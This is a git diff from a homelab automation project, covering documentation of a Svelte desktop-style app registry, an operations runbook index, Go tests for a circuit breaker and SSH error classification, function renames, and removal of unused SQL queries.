| `web/src/lib/stores/windows.ts` | The wmkit window manager singleton + the `openAppWindow` / `openEntityWindow` / `openTaskWindow` primitives. `openAppWindow` branches on `docked` (toggles visibility) vs windowed (`wm.open`); resolves the app via `get(appById)`. |
|
||||||
|
| `web/src/lib/stores/docked.ts` | Persisted visibility for docked apps. Absent key = visible (default-on); store holds only overrides. Deliberately does **not** import `APPS` — doing so would create a static cycle (`apps.ts` → pages → `windows.ts` → here → `apps.ts`) and fire a TDZ on `APPS` at init. |
|
||||||
|
| `web/src/lib/stores/icons.ts` | Desktop icon grid: column/row positions, drag-to-reorder, localStorage persistence. Reactive to the `apps` store — a newly-installed app gets a free cell on the next emission; `resetIconLayout` re-seeds from the live registry, not a static snapshot. |
|
||||||
|
| `web/src/lib/components/LazyApp.svelte` | Renders an app's lazily-loaded component (`AppDef.component` is a dynamic-import loader, not the component). Shows the shared spinner while the chunk fetches; used by both WindowLayer and DockedLayer so the loading state is uniform across app kinds. Vite's module cache makes repeat opens resolve from cache. |
|
||||||
|
| `web/src/lib/components/desktop-shell/Desktop.svelte` | Full-viewport surface: background, icons, task launcher, `<WindowLayer />`, `<DockedLayer />`, taskbar. Reads `$apps` (the derived store) so installs reflect immediately. |
|
||||||
|
| `web/src/lib/components/desktop-shell/WindowLayer.svelte` | Floating-window stack (z-40). Resolves window id → content component; renders shared titlebar chrome. The orphan-close `$effect` is reactive on `$appById` — reinstalling an app revives its persisted window, uninstalling closes it. |
|
||||||
|
| `web/src/lib/components/desktop-shell/DockedLayer.svelte` | Docked-app overlay (z-45). Renders `$apps.filter(a => a.docked)` gated on `dockedVisibility`. Replaces the previously-hardcoded `<MascotLayer />`. |
|
||||||
|
| `web/src/lib/components/desktop-shell/Taskbar.svelte` | Window buttons + tray. Renders from `wmState.order`; resolves icons via `$appById`. |
|
||||||
|
| `web/src/pages/AppStore.svelte` | The App Store — lists the catalog, shows install state, install/uninstall. Installing makes the app appear on the desktop immediately (no reload) via the reactive `apps` store; uninstalling closes any open window for that app via WindowLayer's orphan-close effect. |
|
||||||
|
|
||||||
|
### App architecture — The App contract
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
interface AppDef {
|
||||||
|
id: string // unique; window IDs are "app:<id>"
|
||||||
|
title: string // desktop icon label + window titlebar
|
||||||
|
icon: Component // Lucide icon (desktop icon + taskbar)
|
||||||
|
component: () => Promise<{ default: Component }> // dynamic-import loader
|
||||||
|
docked?: boolean // true = Docked Layer app, no window
|
||||||
|
noIcon?: boolean // true = registered but no desktop icon
|
||||||
|
width?: number; height?: number; minWidth?: number; minHeight?: number
|
||||||
|
// required for windowed, forbidden for docked
|
||||||
|
badge?: (s: DashboardSummary | null) => number
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
`component` is a dynamic-import loader (`() => import('../pages/X.svelte')`),
|
||||||
|
not the component itself. Desktop icons render from metadata alone (id,
|
||||||
|
title, icon — all static), the component chunk fetches on first window
|
||||||
|
open, and Vite code-splits each app into its own chunk (Phase 2). The
|
||||||
|
mascot uses the same path — `() => import('./mascot/MascotLayer.svelte')`
|
||||||
|
— which also defers the mascot's module graph until after `apps.ts` has
|
||||||
|
finished initializing, breaking what would otherwise be a static cycle
|
||||||
|
(`apps.ts` → `MascotLayer` → `Mascot.svelte` → `icons.ts` → `apps.ts`).
|
||||||
|
|
||||||
|
Two app kinds, picked by one flag:
|
||||||
|
|
||||||
|
| Kind | Window | Titlebar | Taskbar | Opened by |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| **Windowed** (default) | wmkit floating window | yes | yes | `openAppWindow` → `wm.open` |
|
||||||
|
| **Docked** (`docked: true`) | none — renders on the Docked Layer | no | no | `openAppWindow` → `toggleDocked` |
|
||||||
|
|
||||||
|
Apps receive **no props** from the shell. They import the OS-service
|
||||||
|
surface (below) directly. The shell→app edge is one-way.
|
||||||
|
|
||||||
|
### App architecture — The OS-service surface (AppOS)
|
||||||
|
|
||||||
|
The stable set of `$lib` exports an App may import. Everything else in
|
||||||
|
`$lib` is shell-internal and may change without notice. This is a
|
||||||
|
**documentation contract** today (apps are compiled in); it becomes an
|
||||||
|
**enforced sandbox boundary** the moment third-party app installation
|
||||||
|
(Phase 3 in [the plan](../../plans/2026-07-21-frontend-os-apps-architecture.md)) lands.
|
||||||
|
|
||||||
|
| Service | Import |
|
||||||
|
|---|---|
|
||||||
|
| Open an app window | `openAppWindow(id)` from `$lib/stores/windows` |
|
||||||
|
| Open an entity window | `openEntityWindow(slug)` from `$lib/stores/windows` |
|
||||||
|
| Open a task window | `openTaskWindow(sessionId, title)` from `$lib/stores/windows` |
|
||||||
|
| Dashboard summary | `summary`, `subscribeContext` from `$lib/stores/context` |
|
||||||
|
| Live events | `subscribeEvents` from `$lib/stores/events` |
|
||||||
|
| Per-session chat / workspace / activity | `chatFor`, `workspaceFor`, `activityLogFor` from `$lib/stores/{chat,workspace,activity}` |
|
||||||
|
| REST API | `$lib/api` (generated from OpenAPI, [ADR-0004](../adr/0004-openapi-first.md)) |
|
||||||
|
| UI primitives | `$lib/components/ui/*` |
|
||||||
|
| Theme | `getTheme`, `setTheme` from `$lib/stores/theme.svelte` |
|
||||||
|
|
||||||
|
### App architecture — Content resolution
|
||||||
|
|
||||||
|
Window ids are namespaced so the window layer resolves content purely
|
||||||
|
from the id, with no extra bookkeeping — which is also why persisted
|
||||||
|
windows hydrate correctly across reloads:
|
||||||
|
|
||||||
|
| Id shape | Renders |
|
||||||
|
|---|---|
|
||||||
|
| `app:<id>` | the registry app's component (`appById.get(id).component`) |
|
||||||
|
| `session:<id>` | `SessionChatWindow` (per-session chat) |
|
||||||
|
| `new-task` | `NewTaskChat` (singleton compose) |
|
||||||
|
| bare slug (`type:identifier`) | `EntityDetailContent` (fallback) |
|
||||||
|
|
||||||
|
A hydrated `app:<id>` window whose id no longer matches a registry entry
|
||||||
|
(an app removed since the layout was persisted) self-closes — the
|
||||||
|
orphan-close `$effect` in `WindowLayer.svelte` sweeps it on mount.
|
||||||
|
|
||||||
|
### App architecture — Current population
|
||||||
|
|
||||||
|
Seven windowed apps + one docked app:
|
||||||
|
|
||||||
|
| App | Kind | Badge |
|
||||||
|
|---|---|---|
|
||||||
|
| `tasks` | windowed | — |
|
||||||
|
| `kb` | windowed | — |
|
||||||
|
| `ops` | windowed | `approvals_pending` |
|
||||||
|
| `signals` | windowed | open signal count |
|
||||||
|
| `knowledge` | windowed | — |
|
||||||
|
| `learning` | windowed | — |
|
||||||
|
| `settings` | windowed | — |
|
||||||
|
| `mascot` (Cluck) | **docked** | — |
|
||||||
|
|
||||||
|
The mascot is the first docked app and the reason the docked kind
|
||||||
|
exists; before this View it was a hardcoded `<MascotLayer />` in
|
||||||
|
`Desktop.svelte`, not a registry entry. Its persistent model
|
||||||
|
(`web/src/lib/mascot/state.svelte.ts`, localStorage) and sprite cache
|
||||||
|
(`sprites.ts`) are module-scoped, so toggling visibility (unmount) and
|
||||||
|
restoring (remount) loses no state — this is why `docked` visibility is
|
||||||
|
a plain `{#if}` gate rather than a `keepAlive` mechanism.
|
||||||
|
|
||||||
|
### App architecture — Designed extension points (documented, not built)
|
||||||
|
|
||||||
|
| Extension | Mechanism when built | Trigger |
|
||||||
|
|---|---|---|
|
||||||
|
| Titlebar actions | `titlebarActions?: Component` on `AppDef`, rendered left of min/max/close | First app that needs one |
|
||||||
|
| App-scoped state | `state?: () => Record<string, unknown>` on `AppDef` | First app with cross-mount state that isn't module-scoped |
|
||||||
|
| `onRegister` handshake | called with a scoped AppOS capability object | Phase 3 (dynamic install) |
|
||||||
|
| Third-party manifests | `AppManifest` JSON + `/api/v1/apps` + permission model | Phase 3 |
|
||||||
|
|
||||||
|
Documenting these now prevents the current contract from painting itself
|
||||||
|
into a corner; building them now would be speculative. (Lazy-loaded
|
||||||
|
components were on this list and shipped in Phase 2 — `component` is now
|
||||||
|
`() => Promise<{ default: Component }>` and Vite code-splits each app.)
|
||||||
|
|
||||||
|
### App architecture — Status and known issues
|
||||||
|
|
||||||
|
Phase 1 (the docked kind, mascot-as-app, the docked visibility store) and
|
||||||
|
Phase 2 (lazy component loading — `component` as dynamic-import loader,
|
||||||
|
`LazyApp.svelte` for uniform loading state, per-app code-splitting) have
|
||||||
|
landed. Open items, by phase:
|
||||||
|
|
||||||
|
- **Phase 3 (dynamic install):** the AppOS table above becomes a real
|
||||||
|
injected capability object, not a documentation table; permissions
|
||||||
|
enforced at the store-access boundary; `AppManifest` format +
|
||||||
|
`/api/v1/apps` endpoint + install flow.
|
||||||
|
- **Late-registering apps (Phase 3 prerequisite):** `icons.ts:48` builds
|
||||||
|
`appIds` once at module load to validate persisted positions — fine
|
||||||
|
today (all apps are in the static `APPS` array; only their components
|
||||||
|
are lazy), fragile the moment apps register post-load. When dynamic
|
||||||
|
registration lands, revalidate against the live registry, not the
|
||||||
|
import-time snapshot. Likewise `WindowLayer`'s orphan-close `$effect`
|
||||||
|
must be gated on registry-ready so a not-yet-loaded app's persisted
|
||||||
|
window isn't killed on hydration.
|
||||||
|
|
||||||
|
The static-cycle trap that bit this View during Phase 1 implementation is
|
||||||
|
now resolved by Phase 2's lazy loading — recording it for context:
|
||||||
|
|
||||||
|
- `apps.ts` no longer statically imports any page or the mascot (they're
|
||||||
|
all `() => import(...)`), so there's no static edge from `apps.ts` into
|
||||||
|
the mascot/page module graph to cycle through `icons.ts` back to `APPS`.
|
||||||
|
The earlier `LazyMascot.svelte` wrapper (Phase 1's cycle break) was
|
||||||
|
deleted in Phase 2 — the lazy loader in the registry replaces it.
|
||||||
|
`docked.ts` still must not import `APPS` (it's reached from `apps.ts`'s
|
||||||
|
graph via `windows.ts`), and doesn't — defaults are implicit
|
||||||
|
(absent key = visible).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Keeping this document current
|
## Keeping this document current
|
||||||
|
|
||||||
The same discipline as README.md's closing note applies here, scoped to
|
The same discipline as README.md's closing note applies here, scoped to
|
||||||
|
|||||||
18
docs/operations/README.md
Normal file
18
docs/operations/README.md
Normal file
@@ -0,0 +1,18 @@
|
|||||||
|
# Operations runbooks
|
||||||
|
|
||||||
|
Step-by-step procedures for operating the homelab. These complement the
|
||||||
|
agent-facing skill files in [`.agents/skills/`](../../.agents/skills/) (which
|
||||||
|
are machine-actionable) and the deploy scripts in
|
||||||
|
[`scripts/`](../../scripts/) (which are executable).
|
||||||
|
|
||||||
|
| Runbook | Scope |
|
||||||
|
| ------- | ----- |
|
||||||
|
| [rollback.md](rollback.md) | Rollback a deploy: checkout SHA + pg_restore |
|
||||||
|
|
||||||
|
For the deploy pipeline itself see
|
||||||
|
[`scripts/deploy.sh`](../../scripts/deploy.sh), the watchdog at
|
||||||
|
[`scripts/watchdog.sh`](../../scripts/watchdog.sh), and the cutover checklist
|
||||||
|
at [`scripts/cutover-checklist.md`](../../scripts/cutover-checklist.md). The
|
||||||
|
risk classification for any mutation is defined in
|
||||||
|
[`seeds/policy.yaml`](../../seeds/policy.yaml) — run `oikos` MCP `preflight`
|
||||||
|
to check the class before acting.
|
||||||
109
internal/actuator/circuit_breaker_test.go
Normal file
109
internal/actuator/circuit_breaker_test.go
Normal file
@@ -0,0 +1,109 @@
|
|||||||
|
package actuator
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestNewCircuitBreakerDefaults(t *testing.T) {
|
||||||
|
cb := newCircuitBreaker(0, 0)
|
||||||
|
if cb.threshold != 3 {
|
||||||
|
t.Errorf("threshold = %d, want 3", cb.threshold)
|
||||||
|
}
|
||||||
|
if cb.cooldownS != 300 {
|
||||||
|
t.Errorf("cooldownS = %d, want 300", cb.cooldownS)
|
||||||
|
}
|
||||||
|
|
||||||
|
cb = newCircuitBreaker(5, 60)
|
||||||
|
if cb.threshold != 5 {
|
||||||
|
t.Errorf("threshold = %d, want 5", cb.threshold)
|
||||||
|
}
|
||||||
|
if cb.cooldownS != 60 {
|
||||||
|
t.Errorf("cooldownS = %d, want 60", cb.cooldownS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCircuitBreakerIsOpenFresh(t *testing.T) {
|
||||||
|
cb := newCircuitBreaker(3, 60)
|
||||||
|
if cb.isOpen("host:A") {
|
||||||
|
t.Errorf("fresh circuit should be closed, got open")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCircuitBreakerOpensAtThreshold(t *testing.T) {
|
||||||
|
cb := newCircuitBreaker(3, 60)
|
||||||
|
// threshold-1 failures → still closed
|
||||||
|
cb.recordFailure("host:A")
|
||||||
|
cb.recordFailure("host:A")
|
||||||
|
if cb.isOpen("host:A") {
|
||||||
|
t.Fatalf("circuit should be closed after threshold-1 failures")
|
||||||
|
}
|
||||||
|
// one more → open
|
||||||
|
cb.recordFailure("host:A")
|
||||||
|
if !cb.isOpen("host:A") {
|
||||||
|
t.Fatalf("circuit should be open after threshold failures")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCircuitBreakerClosesAfterCooldown(t *testing.T) {
|
||||||
|
cb := newCircuitBreaker(1, 60)
|
||||||
|
// Force open
|
||||||
|
cb.recordFailure("host:A")
|
||||||
|
if !cb.isOpen("host:A") {
|
||||||
|
t.Fatalf("circuit should be open")
|
||||||
|
}
|
||||||
|
// Manipulate the cooldown timestamp to the past to simulate expiry.
|
||||||
|
cb.mu.Lock()
|
||||||
|
cb.cooldowns["host:A"] = time.Now().Add(-1 * time.Second)
|
||||||
|
cb.mu.Unlock()
|
||||||
|
|
||||||
|
if cb.isOpen("host:A") {
|
||||||
|
t.Fatalf("circuit should be closed after cooldown expired")
|
||||||
|
}
|
||||||
|
// Failure count should have been reset by isOpen.
|
||||||
|
cb.mu.Lock()
|
||||||
|
got := cb.failures["host:A"]
|
||||||
|
cb.mu.Unlock()
|
||||||
|
if got != 0 {
|
||||||
|
t.Errorf("failure count after cooldown reset = %d, want 0", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCircuitBreakerRecordSuccessResets(t *testing.T) {
|
||||||
|
cb := newCircuitBreaker(3, 60)
|
||||||
|
cb.recordFailure("host:A")
|
||||||
|
cb.recordFailure("host:A")
|
||||||
|
|
||||||
|
cb.recordSuccess("host:A")
|
||||||
|
|
||||||
|
cb.mu.Lock()
|
||||||
|
got := cb.failures["host:A"]
|
||||||
|
cb.mu.Unlock()
|
||||||
|
if got != 0 {
|
||||||
|
t.Errorf("failure count after success = %d, want 0", got)
|
||||||
|
}
|
||||||
|
if cb.isOpen("host:A") {
|
||||||
|
t.Errorf("circuit should be closed after success reset")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCircuitBreakerPerTargetIsolation(t *testing.T) {
|
||||||
|
cb := newCircuitBreaker(2, 60)
|
||||||
|
cb.recordFailure("host:A")
|
||||||
|
cb.recordFailure("host:A") // host:A now at threshold → open
|
||||||
|
|
||||||
|
if !cb.isOpen("host:A") {
|
||||||
|
t.Fatalf("host:A should be open")
|
||||||
|
}
|
||||||
|
if cb.isOpen("host:B") {
|
||||||
|
t.Errorf("host:B should be closed (isolated from host:A)")
|
||||||
|
}
|
||||||
|
|
||||||
|
// host:B has no failures recorded
|
||||||
|
cb.mu.Lock()
|
||||||
|
gotB := cb.failures["host:B"]
|
||||||
|
cb.mu.Unlock()
|
||||||
|
if gotB != 0 {
|
||||||
|
t.Errorf("host:B failure count = %d, want 0", gotB)
|
||||||
|
}
|
||||||
|
}
|
||||||
151
internal/actuator/ssh_test.go
Normal file
151
internal/actuator/ssh_test.go
Normal file
@@ -0,0 +1,151 @@
|
|||||||
|
package actuator
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"net"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"golang.org/x/crypto/ssh"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestSSHErrorClassString(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
class SSHErrorClass
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{SSHErrorNetwork, "network"},
|
||||||
|
{SSHErrorAuth, "auth"},
|
||||||
|
{SSHErrorTimeout, "timed_out"},
|
||||||
|
{SSHErrorRemote, "remote"},
|
||||||
|
{SSHErrorOther, "other"},
|
||||||
|
{SSHErrorClass(999), "unknown"},
|
||||||
|
}
|
||||||
|
for _, c := range cases {
|
||||||
|
if got := c.class.String(); got != c.want {
|
||||||
|
t.Errorf("SSHErrorClass(%d).String() = %q, want %q", c.class, got, c.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// timeoutNetErr is a custom net.Error implementation for testing.
|
||||||
|
type timeoutNetErr struct {
|
||||||
|
timeout bool
|
||||||
|
msg string
|
||||||
|
}
|
||||||
|
|
||||||
|
func (e *timeoutNetErr) Error() string { return e.msg }
|
||||||
|
func (e *timeoutNetErr) Timeout() bool { return e.timeout }
|
||||||
|
func (e *timeoutNetErr) Temporary() bool { return false }
|
||||||
|
|
||||||
|
func TestClassifySSHError(t *testing.T) {
|
||||||
|
// ssh.ExitError fields are unexported, but classifySSHError only checks
|
||||||
|
// for the type via errors.As, so the zero value is sufficient.
|
||||||
|
exitErr := &ssh.ExitError{}
|
||||||
|
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
err error
|
||||||
|
want SSHErrorClass
|
||||||
|
}{
|
||||||
|
{"nil", nil, SSHErrorOther},
|
||||||
|
{"deadline exceeded", context.DeadlineExceeded, SSHErrorTimeout},
|
||||||
|
{"net error timeout true", &timeoutNetErr{timeout: true, msg: "i/o timeout"}, SSHErrorNetwork},
|
||||||
|
{"net error timeout false", &timeoutNetErr{timeout: false, msg: "connection refused"}, SSHErrorNetwork},
|
||||||
|
{"unable to authenticate", errors.New("unable to authenticate, no supported methods remain"), SSHErrorAuth},
|
||||||
|
{"no supported methods remain", errors.New("no supported methods remain (server sent publickey)"), SSHErrorAuth},
|
||||||
|
{"ssh handshake failed", errors.New("ssh: handshake failed: read tcp -> eof"), SSHErrorAuth},
|
||||||
|
{"publickey", errors.New("publickey denied"), SSHErrorAuth},
|
||||||
|
{"permission denied", errors.New("permission denied (publickey)"), SSHErrorAuth},
|
||||||
|
{"exit error", exitErr, SSHErrorRemote},
|
||||||
|
{"generic error", errors.New("something went wrong"), SSHErrorOther},
|
||||||
|
}
|
||||||
|
for _, c := range cases {
|
||||||
|
t.Run(c.name, func(t *testing.T) {
|
||||||
|
if got := classifySSHError(c.err); got != c.want {
|
||||||
|
t.Errorf("classifySSHError(%v) = %v, want %v", c.err, got, c.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseProcedure(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
data []byte
|
||||||
|
wantErr bool
|
||||||
|
wantLen int
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "valid with steps",
|
||||||
|
data: []byte(`{"steps":[{"runner":"shell","command":"echo hi"}]}`),
|
||||||
|
wantErr: false,
|
||||||
|
wantLen: 1,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "invalid json",
|
||||||
|
data: []byte(`{not json`),
|
||||||
|
wantErr: true,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "empty bytes",
|
||||||
|
data: []byte{},
|
||||||
|
wantErr: true,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "valid no steps key",
|
||||||
|
data: []byte(`{"foo":"bar"}`),
|
||||||
|
wantErr: false,
|
||||||
|
wantLen: 0,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "valid with extra fields",
|
||||||
|
data: []byte(`{"extra":"ignored","steps":[{"runner":"verify","command":"true"}],"more":123}`),
|
||||||
|
wantErr: false,
|
||||||
|
wantLen: 1,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
for _, c := range cases {
|
||||||
|
t.Run(c.name, func(t *testing.T) {
|
||||||
|
proc, err := ParseProcedure(c.data)
|
||||||
|
if c.wantErr {
|
||||||
|
if err == nil {
|
||||||
|
t.Fatalf("expected error, got nil (proc=%+v)", proc)
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("unexpected error: %v", err)
|
||||||
|
}
|
||||||
|
if len(proc.Steps) != c.wantLen {
|
||||||
|
t.Errorf("got %d steps, want %d", len(proc.Steps), c.wantLen)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSetDefaultSSHTimeout(t *testing.T) {
|
||||||
|
mu.Lock()
|
||||||
|
orig := defaultSSHTimeout
|
||||||
|
mu.Unlock()
|
||||||
|
defer func() {
|
||||||
|
mu.Lock()
|
||||||
|
defaultSSHTimeout = orig
|
||||||
|
mu.Unlock()
|
||||||
|
}()
|
||||||
|
|
||||||
|
newTimeout := 42 * time.Second
|
||||||
|
SetDefaultSSHTimeout(newTimeout)
|
||||||
|
|
||||||
|
mu.Lock()
|
||||||
|
got := defaultSSHTimeout
|
||||||
|
mu.Unlock()
|
||||||
|
|
||||||
|
if got != newTimeout {
|
||||||
|
t.Errorf("defaultSSHTimeout = %v, want %v", got, newTimeout)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ensure timeoutNetErr satisfies net.Error at compile time.
|
||||||
|
var _ net.Error = (*timeoutNetErr)(nil)
|
||||||
@@ -19,7 +19,7 @@ type CheckDef struct {
|
|||||||
Extra map[string]any
|
Extra map[string]any
|
||||||
}
|
}
|
||||||
|
|
||||||
func ResolveHost(attrs map[string]any) string {
|
func resolveHost(attrs map[string]any) string {
|
||||||
if ip, ok := attrs["lan_ip"].(string); ok && ip != "" {
|
if ip, ok := attrs["lan_ip"].(string); ok && ip != "" {
|
||||||
return ip
|
return ip
|
||||||
}
|
}
|
||||||
@@ -57,8 +57,8 @@ func resolveSSHPort(attrs map[string]any) int {
|
|||||||
return 22
|
return 22
|
||||||
}
|
}
|
||||||
|
|
||||||
func ForEntityType(entityType string, attrs map[string]any) []CheckDef {
|
func forEntityType(entityType string, attrs map[string]any) []CheckDef {
|
||||||
host := ResolveHost(attrs)
|
host := resolveHost(attrs)
|
||||||
user := resolveSSHUser(attrs)
|
user := resolveSSHUser(attrs)
|
||||||
port := resolveSSHPort(attrs)
|
port := resolveSSHPort(attrs)
|
||||||
|
|
||||||
@@ -122,7 +122,7 @@ func ForEntityType(entityType string, attrs map[string]any) []CheckDef {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func ShortSlug(slug string) string {
|
func shortSlug(slug string) string {
|
||||||
const n = 8
|
const n = 8
|
||||||
if len(slug) > n {
|
if len(slug) > n {
|
||||||
return slug[len(slug)-n:]
|
return slug[len(slug)-n:]
|
||||||
@@ -130,7 +130,7 @@ func ShortSlug(slug string) string {
|
|||||||
return slug
|
return slug
|
||||||
}
|
}
|
||||||
|
|
||||||
func DefaultInterval(kind string) int32 {
|
func defaultInterval(kind string) int32 {
|
||||||
switch kind {
|
switch kind {
|
||||||
case "ping":
|
case "ping":
|
||||||
return 30
|
return 30
|
||||||
@@ -156,7 +156,7 @@ func Ensure(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, slug, entityType
|
|||||||
attrs = map[string]any{}
|
attrs = map[string]any{}
|
||||||
}
|
}
|
||||||
|
|
||||||
defs := ForEntityType(entityType, attrs)
|
defs := forEntityType(entityType, attrs)
|
||||||
if len(defs) == 0 {
|
if len(defs) == 0 {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -166,7 +166,7 @@ func Ensure(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, slug, entityType
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
checkID = uuid.New()
|
checkID = uuid.New()
|
||||||
}
|
}
|
||||||
checkSlug := fmt.Sprintf("check:%s:%s:%d", def.Kind, ShortSlug(slug), i)
|
checkSlug := fmt.Sprintf("check:%s:%s:%d", def.Kind, shortSlug(slug), i)
|
||||||
|
|
||||||
_, _ = tx.Exec(ctx,
|
_, _ = tx.Exec(ctx,
|
||||||
`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
@@ -199,6 +199,6 @@ func Ensure(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, slug, entityType
|
|||||||
`INSERT INTO check_defs (entity_id, target_id, kind, config, interval_s, timeout_s, enabled)
|
`INSERT INTO check_defs (entity_id, target_id, kind, config, interval_s, timeout_s, enabled)
|
||||||
VALUES ($1, $2, $3, $4, $5, 30, true)
|
VALUES ($1, $2, $3, $4, $5, 30, true)
|
||||||
ON CONFLICT (entity_id) DO NOTHING`,
|
ON CONFLICT (entity_id) DO NOTHING`,
|
||||||
checkID, entityID, def.Kind, configJSON, DefaultInterval(def.Kind))
|
checkID, entityID, def.Kind, configJSON, defaultInterval(def.Kind))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -27,9 +27,6 @@ WHERE e.type IN (SELECT name FROM tt)
|
|||||||
ORDER BY e.slug
|
ORDER BY e.slug
|
||||||
LIMIT sqlc.arg('lim');
|
LIMIT sqlc.arg('lim');
|
||||||
|
|
||||||
-- name: ListEntitiesCapped :many
|
|
||||||
SELECT e.* FROM entities e ORDER BY e.slug LIMIT $1;
|
|
||||||
|
|
||||||
-- name: InsertEntity :one
|
-- name: InsertEntity :one
|
||||||
INSERT INTO entities (id, slug, type, name, state, attributes)
|
INSERT INTO entities (id, slug, type, name, state, attributes)
|
||||||
VALUES ($1, $2, $3, $4, $5, $6)
|
VALUES ($1, $2, $3, $4, $5, $6)
|
||||||
|
|||||||
@@ -14,11 +14,6 @@ WHERE (sqlc.narg('state')::text IS NULL OR sig.state = sqlc.narg('state'))
|
|||||||
ORDER BY se.slug
|
ORDER BY se.slug
|
||||||
LIMIT sqlc.arg('lim');
|
LIMIT sqlc.arg('lim');
|
||||||
|
|
||||||
-- name: ListEntityStatus :many
|
|
||||||
SELECT e.slug, e.type, st.health, st.last_check_at
|
|
||||||
FROM entity_status st JOIN entities e ON e.id = st.entity_id
|
|
||||||
ORDER BY e.slug;
|
|
||||||
|
|
||||||
-- name: GetIdempotentResponse :one
|
-- name: GetIdempotentResponse :one
|
||||||
SELECT response_code, response_body, request_hash FROM idempotency_keys
|
SELECT response_code, response_body, request_hash FROM idempotency_keys
|
||||||
WHERE actor = $1 AND key = $2;
|
WHERE actor = $1 AND key = $2;
|
||||||
@@ -89,9 +84,6 @@ DO UPDATE SET occurrence_count = signals.occurrence_count + 1,
|
|||||||
updated_at = now()
|
updated_at = now()
|
||||||
RETURNING *;
|
RETURNING *;
|
||||||
|
|
||||||
-- name: UpdateSignalState :exec
|
|
||||||
UPDATE signals SET state = $2, updated_at = now() WHERE entity_id = $1;
|
|
||||||
|
|
||||||
-- name: GetOpenSignalsForAutoAct :many
|
-- name: GetOpenSignalsForAutoAct :many
|
||||||
-- Signals with auto-act classifications that haven't been executed yet
|
-- Signals with auto-act classifications that haven't been executed yet
|
||||||
SELECT s.*, c.entity_id AS classification_id, c.action, c.risk_class, c.route,
|
SELECT s.*, c.entity_id AS classification_id, c.action, c.risk_class, c.route,
|
||||||
@@ -106,12 +98,6 @@ WHERE c.route = 'auto-act'
|
|||||||
ORDER BY s.last_seen_at ASC
|
ORDER BY s.last_seen_at ASC
|
||||||
LIMIT $1;
|
LIMIT $1;
|
||||||
|
|
||||||
-- name: InsertClassification :exec
|
|
||||||
INSERT INTO classifications (entity_id, signal_entity_id, target_entity_id, action,
|
|
||||||
recommended_action, risk_class, route, blast_radius, pattern_confidence,
|
|
||||||
skill_id, autonomy_check, reasoning, correlation_id)
|
|
||||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13);
|
|
||||||
|
|
||||||
-- name: ListClassifications :many
|
-- name: ListClassifications :many
|
||||||
SELECT c.entity_id, c.signal_entity_id, c.target_entity_id, c.action,
|
SELECT c.entity_id, c.signal_entity_id, c.target_entity_id, c.action,
|
||||||
c.recommended_action, c.risk_class, c.route, c.blast_radius,
|
c.recommended_action, c.risk_class, c.route, c.blast_radius,
|
||||||
@@ -153,11 +139,6 @@ WHERE (sqlc.narg('status')::text IS NULL OR e.status = sqlc.narg('status'))
|
|||||||
ORDER BY te.slug
|
ORDER BY te.slug
|
||||||
LIMIT sqlc.arg('lim');
|
LIMIT sqlc.arg('lim');
|
||||||
|
|
||||||
-- name: InsertFeedback :exec
|
|
||||||
INSERT INTO feedback (entity_id, execution_id, outcome, observation, lesson,
|
|
||||||
unexpected_side_effects, tags)
|
|
||||||
VALUES ($1, $2, $3, $4, $5, $6, $7);
|
|
||||||
|
|
||||||
-- name: GetFeedbackAfterWatermark :many
|
-- name: GetFeedbackAfterWatermark :many
|
||||||
SELECT f.entity_id, f.execution_id, f.outcome, f.observation, f.lesson,
|
SELECT f.entity_id, f.execution_id, f.outcome, f.observation, f.lesson,
|
||||||
f.unexpected_side_effects, f.tags, f.created_at,
|
f.unexpected_side_effects, f.tags, f.created_at,
|
||||||
@@ -201,11 +182,6 @@ SELECT * FROM skills
|
|||||||
WHERE (sqlc.narg('status')::text IS NULL OR status = sqlc.narg('status'))
|
WHERE (sqlc.narg('status')::text IS NULL OR status = sqlc.narg('status'))
|
||||||
ORDER BY name, version DESC;
|
ORDER BY name, version DESC;
|
||||||
|
|
||||||
